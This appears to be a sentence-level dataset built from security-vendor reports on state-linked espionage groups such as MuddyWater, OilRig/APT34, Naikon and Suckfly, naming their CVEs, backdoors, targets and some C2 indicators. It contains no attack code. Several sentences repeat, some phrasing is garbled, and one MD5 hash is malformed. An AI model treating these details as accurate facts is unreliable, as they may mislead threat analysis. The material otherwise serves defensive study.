Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
From January 2018 to March 2018 , through FireEye 's Dynamic Threat Intelligence , we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East .
MuddyWater has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
When successfully executed , the malicious documents install a backdoor we track as POWERSTATS .
The group is known for espionage campaigns in the Middle East .
The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques .
The MuddyWater campaign was first sighted in 2017 when it targeted the Saudi government using an attack involving PowerShell scripts deployed via Microsoft Office Word macro .
The threat group in this recently observed campaign a TEMP.Zagros a weaponized their malware using the following techniques .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
MuddyWater is a relatively new APT that surfaced in 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro as MuddyWater ) , an Iran-nexus actor that has been active since at least May 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro ) , an Iran-nexus actor that has been active since at least May 2017 .
Entities in these sectors are often " enabling victims " as telecommunications providers or IT services agencies and vendors could provide Seedworm actors with further victims to compromise .
The group mainly targets the telecommunications and IT services sectors .
However , the group behind MuddyWater has been known to target other countries in the Middle East , Europe and the US .
The group has focused mainly on governmental targets in Iraq and Saudi Arabia , according to past telemetry .
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros .
MuddyWater has recently been targeting victims likely from Lebanon and Oman , while leveraging compromised domains , one of which is owned by an Israeli web developer .
As MuddyWater has consistently been using POWERSTATS as its main tool , they are relatively easy to distinguish from other actors .
In March 2018 , Trend Micro provided a detailed analysis of another campaign that bore the hallmarks of MuddyWater .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
Given the use of lure documents designed with social engineering in mind , it is likely that MuddyWater use phishing or spam to target users who are unaware of these documents ' malicious nature .
We recently noticed the group behind MuddyWater that appear to be targeting government bodies , military entities , telcos and educational institutions in Jordan , Turkey , Azerbaijan and Pakistan , in addition to the continuous targeting of Iraq and Saudi Arabia , other victims were also detected in Mali , Austria , Russia , Iran and Bahrain. .
Observed Seedworm victims were located primarily in Pakistan and Turkey , but also in Russia , Saudi Arabia , Afghanistan , Jordan , and elsewhere .
The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering , in addition to the active development of attacks , infrastructure and the use of new methods and techniques .
Cisco Talos assesses with moderate confidence that a campaign we recently discovered called " BlackWater " is associated with suspected persistent threat actor MuddyWater .
In this latest activity , BlackWater first added an obfuscated Visual Basic for Applications ( VBA ) script to establish persistence as a registry key .
Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater .
MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East .
Between February and March 2019 , probable MuddyWater-associated samples indicated that BlackWater established persistence on the compromised host , at used PowerShell commands to enumerate the victim 's machine and contained the IP address of the actor 's command and control ( C2 ) .
Despite last month 's report on aspects of the MuddyWater campaign , the group is undeterred and continues to perform operations .
Based on these observations , as well as MuddyWater 's history of targeting Turkey-based entities , we assess with moderate confidence that this campaign is associated with the MuddyWater threat actor group .
Our recent report , " The Chronicles of the Hellsing APT : the Empire Strikes Back " began with an introduction to the Naikon APT , describing it as " One of the most active APTs in Asia , especially around the South China Sea " .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
Considering the volume of Naikon activity observed and its relentless , repeated attack attempts , such a confrontation was worth looking into , so we did .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal , Thailand , Laos and China .
The oil and gas infrastructure nexus observed in connection with greensky27.vicp.net and other Unit 78020 ( Naikon ) infrastructure suggests targeting patterns supportive of the PRC 's strategic interests over energy resources within the South China Sea and Southeast Asia .
This Naikon report will be complemented by a follow-on report that will examine the Naikon TTP and the incredible volume of attack activity around the South China Sea that has been going on since at least 2010 .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
In the Naikon scheme , a C&C server can be specialized XSControl software running on the host machine .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data Exfiltration from high-profile victim organizations .
In addition to stealing keystrokes , Naikon also intercepted network traffic .
Operator X also took advantage of cultural idiosyncrasies in its target countries , for example , the regular and widely accepted use of personal Gmail accounts for work .
In the spring of 2014 , we noticed an increase in the volume of attack activity by the Naikon APT .
In particular , we noticed that the Naikon group was spear-phished by an actor we now call " Hellsing " .
More details about the cloak and dagger games between Naikon and Hellsing can be found in our blogpost : " The Chronicles of the Hellsing APT : The Empire Strikes Back " .
Truvasys has been involved in several attack campaigns , where it has masqueraded as one of server common computer utilities , including WinUtils , TrueCrypt , WinRAR , or SanDisk .
PROMETHIUM is an activity group that has been active as early as 2012 .
The group primarily uses Truvasys , a first-stage malware that has been in circulation for several years .
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Meanwhile , NEODYMIUM used well-tailored spear-phishing emails with attachments that delivered the exploit code , ultimately leading to Wingbird 's installation on victim computers .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
Wingbird , the advanced malware used by NEODYMIUM , has several behaviors that trigger alerts in Windows Defender ATP .
This volume chronicles two activity groups , code-named PROMETHIUM and NEODYMIUM , both of which target individuals in a specific LOC of Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
In May 2016 , both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns .
NEODYMIUM is an activity group that , like PROMETHIUM , conducted an attack campaign in early May 2016 .
Data about Wingbird activity indicates that it is typically used to attack individuals and individual computers instead of networks .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
NEODYMIUM used a backdoor detected by Windows Defender as Wingbird , whose characteristics closely match FinFisher , a government-grade commercial surveillance package .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
FinSpy , a final-stage payload that allows for an attacker to covertly learn what a target is talking about and who they are communicating with , is associated with Gamma Group — which goes by other names , including FinFisher and Lench IT Solutions .
In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China .
BlackOasis in recent months sent a wave of phishing emails .
PROMETHIUM uses a unique set of tools and methods to perform actions like lateral movement and data Exfiltration .
Last year , Microsoft researchers described Neodymium 's behavior as unusual : " unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Victims of BlackOasis have been observed in the following countries : Russia , Iraq , Afghanistan , Nigeria , Libya , Jordan , Tunisia , Saudi Arabia , Iran , Netherlands , Bahrain , United Kingdom and Angola .
Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
A cursory review of BlackOasis ' espionage campaign suggests there is some overlap between the group 's actions and Saudi Arabia 's geopolitical interests .
Kaspersky 's research notes that BlackOasis hacked into computers based in Saudi Arabia .
All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ACTs : economically ; from a national security perspective ; or due to established policy agreements .
The Operation Aurora , named by McAfee and announced in January 2010 , and the WikiLeaks document disclosures of 2010 have highlighted the fact that external and internal threats are nearly impossible to prevent .
These attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
Night Dragon 's attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
We have identified the tools , techniques , and network activities used in these continuing attacks—which we have dubbed Night Dragon—as originating primarily in China .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
The primary operational technique used by Night Dragon comprised a variety of hacker tools , including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker .
While Night Dragon attacks focused specifically on the energy sector , the tools and techniques of this kind can be highly successful when targeting any industry .
In addition , the attackers employed hacking tools of Chinese origin and that are prevalent on Chinese underground hacking forums .
We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign , a campaign Unit 42 has been following since May 2016 .
Recently we were able to observe these actors making modifications to their Clayslide delivery documents in an attempt to evade antivirus detection .
We collected two sets of Clayslide samples that appear to be created during the OilRig actor 's development phase of their attack lifecycle .
On November 15 , 2016 , an actor related to the OilRig campaign began testing the Clayslide delivery documents .
The actor then made subtle modifications to the file and uploaded the newly created file to the same popular antivirus testing website in order to determine how to evade detection .
In addition to making changes to the Excel worksheets that contain the decoy content , the actor also made changes to the worksheet that is initially displayed to the user .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
This realization suggests that the OilRig threat group will continue to use their delivery documents for extended periods with subtle modifications to remain effective .
Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015 .
In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors , several financial institutes , and the Israeli Post Office .
In these websites they hosted malware that was digitally signed with a valid , likely stolen code signing certificate .
In December 2015 , Symantec published a post about " two Iran-based attack groups that appear to be connected , Cadelle and Chafer " that " have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals and Middle Eastern organizations " .
In May 2016 , Unit 42 observed attacks of OilRig primarily focused on financial institutions and technology organizations within Saudi Arabia .
In recent OilRig attacks , the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks .
The campaign appears highly targeted and delivers a backdoor we have called ' Helminth ' .
Artifacts identified within the malware samples related to these attacks also suggest the targeting of the defense industry in Saudi Arabia , which appears to be related to an earlier wave of attacks carried out in the fall of 2015 .
In May 2016 , Unit 42 began researching attacks that used spear-phishing emails with attachments , specifically malicious Excel spreadsheets sent to financial organizations within Saudi Arabia .
Over the course of the attack campaign , we have observed two different variations of the Helminth backdoor , one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable .
FireEye also reported on these attacks in a May 22 blog post .
The executable variant of Helminth is installed with a dropper Trojan that we are tracking as the HerHer Trojan .
The Helminth executable variant is very similar in functionality to its script-based counterpart , as it also communicates with its C2 server using both HTTP and DNS queries .
Helminth executable samples send artifacts within network beacons to its C2 server that the Trojan refers to as a ' Group ' and ' Name ' .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
This suggests that the threat actors are not only focused on financial organizations , as their target set could include other industries as well .
The email address edmundj@chmail.ir and the geolocation of Tehran , Iran , being of note .
The registrant information for kernel.ws also provided a geolocation of Tehran , IR and the email provider for the address used in checkgoogle.org was the same used for mydomain1607.com , chmail.ir .
The mydomain1110.com domain did not appear to reuse any of the previously observed WHOIS data artifacts , but did still give a geolocation of Tehran in addition to the use of an email address linked to other domains thematically similar to the know command and control domains and are potentially related .
While researching the OilRig campaign , we have seen two waves of targeted attacks on Saudi Arabian organizations in which a group of threat actors delivered the Helminth Trojan as a payload .
The two variants of Helminth do require different delivery methods , with the script variant relying on an Excel spreadsheet for delivery , while the executable variant is more traditional in the fact that it can be installed without a delivery document .
Since our first published analysis of the OilRig campaign in May 2016 , we have continued to monitor this group for new activity .
Additionally , the scope of organizations targeted by this group has expanded to not only include organizations within Saudi Arabia , but also a company in Qatar and government organizations in Turkey , Israel and the United States .
The group behind the OilRig campaign continues to leverage spear-phishing emails with malicious Microsoft Excel documents to compromise victims .
In addition to these instances , multiple Qatari organizations were the subject to spear phishing attacks carrying Helminth samples earlier this year .
While the malware deployed is not terribly sophisticated , it uses techniques such as DNS command and control ( C2 ) that allows it to stay under the radar at many establishments .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
We assess this activity was carried out by a suspected Iranian cyber espionage threat group , whom we refer to as APT34 , using a custom PowerShell backdoor to achieve its objectives .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran , use of Iranian infrastructure , and targeting that aligns with nation-state interests .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts , sometimes coupled with social engineering tactics .
We believe APT34 is involved in a long-term Cyber Espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014 .
In May 2016 , we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware .
In July 2017 , we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER , based on strings within the malware .
APT34 loosely aligns with public reporting related to the group " OilRig " .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
The vulnerability was patched by Microsoft on Nov 14 , 2017 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We first discovered this group in mid-2016 , although it is possible their operations extends earlier than that time frame .
Between May and June 2018 , Unit 42 observed multiple attacks by the OilRig group appearing to originate from a government agency in the Middle East .
The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented .
The attacks delivered a PowerShell backdoor called QUADAGENT , a tool attributed to the OilRig group by both ClearSky Cyber Security and FireEye .
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation .
All three waves involved a single spear phishing email that appeared to originate from a government agency based in the Middle East .
This latest attack consisted of three waves between May and June 2018 .
The OilRig group continues to be a persistent adversary group in the Middle East region .
APT34 are involved in long-term cyber espionage operations largely focused on the Middle East .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .
Recent investigations by FireEye 's Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of a suspected Iranian threat group , that we believe has been operating since at least 2014 .
Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .
On January 8 , 2018 , Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts from trusted third parties , sometimes coupled with social engineering tactics .
Just over a week later , on January 16 , 2018 , we observed an attack on a Middle Eastern financial institution .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
However , the attack on January 16 did not involve ThreeDollars at all .
Interestingly , the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017 .
Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email .
In the January 16 , 2018 attack , we observed OilRig attacking an organization it previously targeted in January 2017 .
On January 8 , 2018 , the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
This suggests that due to the January 2017 attack , the targeted organization may have taken actions to counter known OilRig TTPs , in this case delivering malicious macro documents , causing the OilRig operators to adopt a different delivery tactic .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
The samples of ThreeDollars we collected in these attacks are structurally very similar to the first sample we analyzed in October 2017 , down to the lure image used to trick the recipient into clicking the " Enable Content " button to execute the malicious macro .
Since May 2016 , we have continued to monitor and uncover various attacks and tools associated with the OilRig group .
] com , which we previously identified in October 2017 to be an OilRig C2 .
Based on previously observed tactics , it is highly likely the OilRig group leveraged credential harvesting and compromised accounts to use the government agency as a launching platform for their true attacks .
Inspecting the class C network for 185.162.235.0/24 shows us that another IP on the same network resolves to an OilRig domain , msoffice-cdn.com which we identified in August 2017 .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The OilRig group continues to remain a highly active adversary in the Middle East region .
Organizations detected a compromise themselves in 62% of the cases that Mandiant worked in 2017 .
The group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
Repeated targeting of Middle Eastern financial , energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34 .
The use of infrastructure tied to Iranian operations , timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government .
APT34 uses a mix of public and non-public tools and often uses compromised accounts to conduct spear-phishing operations .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
Unit 42 's ongoing research into the OilRig campaign shows that the threat actors involved in the original attack campaign continue to add new Trojans to their toolset and continue their persistent attacks in the Middle East .
When we first discovered the OilRig attack campaign in May 2016 , we believed at the time it was a unique attack campaign likely operated by a known , existing threat group .
The email address is associated with the Lebanese domain of a major global financial institution .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In July 2017 , we observed the OilRig group using a tool they developed called ISMAgent in a new set of targeted attacks .
In August 2017 , we found this threat group has developed yet another Trojan that they call ' Agent Injector ' with the specific purpose of installing the ISMAgent backdoor .
On August 23 , 2017 , we observed OilRig targeting an organization within the United Arab Emirates government .
Based on that research and this observation , we postulate that the OilRig group gathered credentials to a legitimate user 's OWA account and logged into the user 's account to send phishing attacks to other individuals within the same , targeted organization .
The OilRig group continues to target organizations in the Middle East , in this instance targeting the government of the United Arab Emirates .
The payload embedded within the ISMInjector sample delivered in this attack is a variant of the ISMAgent backdoor that we had discussed in detail in our blog discussing a targeted attack on a Saudi Arabian technology company .
Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset , but further examination revealed not only new variants of the delivery document we named Clayslide , but also a different payload embedded inside it .
In July 2017 , we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016 .
This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks .
In the past , we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth ; in this instance , the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
Clearly , OilRig incorporates a testing component within their development process , as we have previously observed OilRig performing testing activities on their delivery documents and their TwoFace webshells .
While continuing research on the August 2018 attacks on a Middle eastern government that delivered BONDUPDATER , Unit 42 researchers observed OilRig 's testing activities and with high confidence links this testing to the creation of the weaponized delivery document used in this attack .
While investigating recent attacks performed by the threat actor group OilRig using their new Bondupdater version , Unit 42 researchers searched for additional Microsoft Office documents used by OilRig hoping to locate additional malware being used in other attacks during the same time period .
The tester created the final test file less than 8 hours before the creation time of a delivery document , which was then delivered via a spear-phishing email 20 minutes later .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
However , they later continued by making modifications to the Excel document just prior to the attack on August 26th .
HELIX KITTEN is likely an Iranian-based adversary group , active since at least late 2015 , targeting organizations in the aerospace , energy , financial , government , hospitality and telecommunications business verticals .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
In addition to Helminth , the ISMDoor implant is likely used by the Iran-based adversary to attack targets particularly those in the Middle East region .
These incidents involved spear-phishing attacks , which characteristic of HELIX KITTEN , included emails containing malicious PowerShell in their macros that connects to known C2 infrastructure .
During the summer of 2018 , HELIX KITTEN actors were observed targeting entities in the Middle East — of note , targets appeared to be located in Bahrain and Kuwait .
ISMDoor is able to exfiltrate data , take screenshots , and execute arbitrary commands on the victim 's machine .
In early November 2018 , CrowdStrike observed activity from the HELIX KITTEN adversary at a customer in the telecommunications vertical .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations , as well as one financial and one educational institution .
In August 2018 , Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER .
The OilRig group has been active since at least mid-2016 , and continues their attack campaigns throughout the Middle East , targeting both governmental agencies and businesses on an almost routine basis .
BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017 , when OilRig targeted a different Middle Eastern governmental organization .
During the past month , Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware , which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications .
The email had no subject and what initially drew our attention to OilRig 's attack was the content of the spear phishing email .
As expected , OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East .
First identified in January 2015 , Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims .
According to Symantec telemetry , almost 40 percent of Orangeworm 's confirmed victim organizations operate within the healthcare industry .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
Sowbug 's next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
In this case , the attackers maintained a presence on the target 's network for nearly six months between September 2016 and March 2017 .
In other attacks , there was evidence that Felismus was installed using a tool known as Starloader ( detected by Symantec as Trojan.Starloader ) .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
Additionally , Starloader was also observed deploying additional tools used by the attackers , such as credential dumpers and keyloggers .
ASERT has learned of an APT campaign , possibly originating from DPRK , we are calling STOLEN PENCIL that is targeting academic institutions since at least May 2018 .
Once gaining a foothold on a user 's system , the threat actors behind STOLEN PENCIL use Microsoft 's Remote Desktop Protocol ( RDP ) for remote point-and-click access .
The group uses an advanced piece of malware known as Remsec ( Backdoor.Remsec ) to conduct its attacks .
Strider has been active since at least October 2011 .
Lua modules is a technique that has previously been used by Flamer .
The Remsec malware used by Strider has a modular design .
The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation state 's intelligence services .
The group 's targets include a number of organizations and individuals located in Russia .
Remsec uses a Lua interpreter to run Lua modules which perform various functions .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
the group 's targets include an organization in Sweden .
the group 's targets include an embassy in Belgium .
Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers .
Another such an exceptional espionage platform is " ProjectSauron , also known as " Strider " .
In September 2015 , our anti-targeted attack technologies caught a previously unknown attack .
Forensic analysis indicates that the APT has been operational since at least June 2011 and was still active in 2016 .
After getting the IP , the ProjectSauron component tries to communicate with the remote server using its own ( ProjectSauron ) protocol as if it was yet another C&C server .
In a number of the cases we analyzed , ProjectSauron deployed malicious modules inside the custom network encryption 's software directory , disguised under similar filenames and accessing the data placed beside its own executable .
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication , designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple Exfiltration methods .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
Secondary ProjectSauron modules are designed to perform specific functions like stealing documents , recording keystrokes , and hijacking encryption keys from both infected computers and attached USB sticks .
activity originated from three separate IP addresses , all located in Chengdu , China .
We don't know the exact date Suckfly stole the certificates from the South Korean organizations .
stolen certificates being used maliciously occurred in early 2014 .
Symantec detects this threat as Backdoor.Nidiran .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
The threat then executes " svchost.exe " .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Blackfly began with a campaign to steal certificates , which were later used to sign malware used in targeted attacks .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
Since then we have identified a number of attacks over a two-year period , beginning in April 2014 , which we attribute to Suckfly .
The attacks targeted high-profile targets , including government and commercial organizations .
these attacks were part of a planned operation against specific targets in India .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
The first known Suckfly campaign began in April of 2014 .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have .
Similar to its other attacks , Suckfly used the Nidiran back door along with a number of hacktools to infect the victim 's internal hosts .
In 2015 , Suckfly conducted a multistage attack .
Suckfly conducted a multistage attack between April 22 and May 4 .
On April 22 , 2015 , Suckfly exploited a vulnerability on the targeted employee 's operating system ( Windows ) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack .
Suckfly conducted a multistage attack against an e-commerce organization .
Suckfly conducted a multistage attack against an e-commerce organization based in India .
Most of the group 's attacks are focused on government or technology related companies and organizations .
While we know the attackers used a custom dropper to install the back door , we do not know the delivery vector .
While tracking what days of the week Suckfly used its hacktools , we discovered that the group was only active Monday through Friday .
By targeting all of these organizations together , Suckfly could have had a much larger impact on India and its economy .
While we don't know the motivations behind the attacks , the targeted commercial organizations , along with the targeted government organizations , may point in this direction .
There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
We believe that Suckfly will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckfly 's operations .
